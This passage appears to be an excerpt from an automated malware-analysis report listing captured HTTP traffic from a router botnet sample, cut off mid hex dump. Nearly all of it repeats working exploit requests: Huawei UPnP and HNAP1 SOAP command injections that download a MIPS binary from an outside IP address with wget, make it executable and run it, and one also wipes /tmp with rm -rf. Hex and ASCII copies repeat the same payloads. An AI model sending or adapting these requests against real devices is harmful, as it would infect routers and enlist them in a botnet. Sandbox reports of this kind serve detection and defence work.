73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 